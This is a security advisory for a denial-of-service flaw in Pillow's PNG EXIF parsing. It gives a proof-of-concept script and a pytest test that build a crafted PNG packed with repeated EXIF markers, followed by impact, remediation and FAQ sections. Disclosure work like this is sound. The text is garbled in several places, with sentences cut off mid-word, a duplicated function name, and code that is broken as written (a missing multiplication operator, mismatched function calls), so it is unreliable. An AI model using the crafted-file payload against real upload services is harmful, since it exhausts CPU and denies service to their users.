GHSA-g4qv-2jxx-769h: Pip/Pillow vulnerability

Published Oct 22, 2026
·
Updated

Summary A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.

### Details Exif.load() in src/PIL/Image.py strips a marker from the start of the EXIF data like this:

python while data and data.startswith(b"Exif\x00\x00"): data = data[6:]

Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.

chunkeXIf() in src/PIL/PngImagePlugin.py puts the raw PNG eXIf chunk straight into info["exif"] with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with MAXTEXTCHUNK and MAXTEXTMEMORY. The eXIf chunk has no such cap.

If the eXIf chunk is filled with repeated Exif\x00\x00 markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.

### Steps to reproduce This builds a small PNG in memory and times Image.open().getexif() on it. No external file needed.

python import time from io import BytesIO from PIL import Image, PngImagePlugin

def chunk(cid, data): fp = BytesIO() PngImagePlugin.putchunk(fp, cid, data) return fp.getvalue()

MAGIC = PngImagePlugin.MAGIC IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0") IDAT = chunk(b"IDAT") IEND = chunk(b"IEND")

marker = b"Exif\x00\x00" exifchunk = chunk(b"eXIf", marker 300000) # 1.8MB, all markers data = MAGIC + IHDR + exifchunk + IDAT + IEND

start = time.time() with Image.open(BytesIO(data)) as im: im.getexif() print("took", time.time() - start, "seconds")

Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.

Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.

A pytest version of this test, using pytest-timeout so a test run does not hang if the bug is present, is it fails with Failed: Timeout (>2.0s) from pytest-timeout.

python import pytest from io import BytesIO from PIL import Image, PngImagePlugin

def chunk(cid, data): fp = BytesIO() PngImagePlugin.putchunk(fp, cid, data) return fp.getvalue()

MAGIC = PngImagePlugin.MAGIC IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0") IDAT = chunk(b"IDAT") IEND = chunk(b"IEND")

@pytest.mark.timeout(2) def testexifloadisnotquadratic(): marker = b"Exif\x00\x00" exifchunk = chunk(b"eXIf", marker 300000) data = MAGIC + IHDR + exifchunk + IDAT + IEND with Image.open(BytesIO(data)) as im: im.getexif()

### Impact - Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear. - Confidentiality: none. - Integrity: none. - This fires through Image.getexif(), Image.getexif(), and ImageOps.exiftranspose(). exiftranspose() is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.

Affected Software

1 affected componentFixes available
pip/Pillow>=11.0.0<13.0.0
13.0.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/Pillow to a version that resolves this vulnerability.

    Fixed in 13.0.0

Event History

Oct 22, 2026
Advisory Published
via GitHub·04:02 PM
Data Sourced
via GitHub·04:02 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Which applications are exposed to this denial-of-service condition?

Applications that process attacker-controlled PNG files and invoke Pillow's EXIF parsing, such as through Image.open().getexif(), are exposed. Opening a normal camera-generated EXIF payload is not the triggering condition.

2

What must an attacker provide to trigger the excessive CPU use?

The attacker must supply a PNG whose eXIf chunk contains many repeated Exif\x00\x00 markers rather than valid EXIF data. Pillow accepts the raw eXIf chunk without a size or content check, and parsing repeatedly copies the remaining buffer.

3

How can I determine whether an input is attempting this attack?

Inspect the PNG eXIf chunk for repeated consecutive Exif\x00\x00 byte sequences. A suspicious file will cause disproportionately high CPU time when EXIF metadata is requested, with processing cost growing quadratically as the chunk grows.

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